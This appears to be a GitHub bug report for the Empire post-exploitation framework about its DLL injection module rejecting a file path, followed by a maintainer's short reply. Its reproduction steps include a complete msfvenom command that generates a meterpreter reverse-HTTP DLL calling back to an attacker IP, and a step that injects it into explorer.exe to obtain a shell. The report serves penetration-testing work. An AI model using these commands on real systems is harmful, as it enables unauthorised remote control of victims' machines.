search

BC-SECURITY / Empire

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
https://bc-security.gitbook.io/empire-wiki/
BSD 3-Clause "New" or "Revised" License
4.24k stars 576 forks source link

[BUG] powershell/code_execution/invoke_dllinjection > Module does not accept .dll filename or path #493

Open spookymonkey2020 opened 3 years ago

spookymonkey2020 commented 3 years ago

Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.

Empire Version

OS Information (Linux flavor, Python version)

Describe the bug

powershell/code_execution/invoke_dllinjection module does not accept .dll filename or path. Therefore when the module is executed, it produces the error "[!] error running command: Invalid Dll path!" and the injection fails.

To Reproduce

Steps to reproduce the behavior:

  1. establish session on Windows 10 target using http listener via .bat stager
  2. switch to /tmp directory create windows meterpreter reverse http payload in .dll format using msfvenom -- msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.119.168 LPORT=5555 -f dll -o met.dll
  3. identify 'explorer.exe' processid on Windows 10 target using 'ps'
  4. usemodule powershell/code_execution/invoke_dllinjection
  5. set agent and processid. then enter the path to the .dll meterpreter payload -- /tmp/met.dll
  6. execute -- notice the error message

Expected behavior

No error message should be produced and the .dll should be injected into explorer.exe in the Windows 10 target while also sending a shell to the multi/handler in msfconsole

Screenshots

1

2

Additional context

Add any other context about the problem here

Cx01N commented 2 years ago

I believe this module requires the path of the dll on the target box. We are looking to convert all these to executing from purely memory in the future.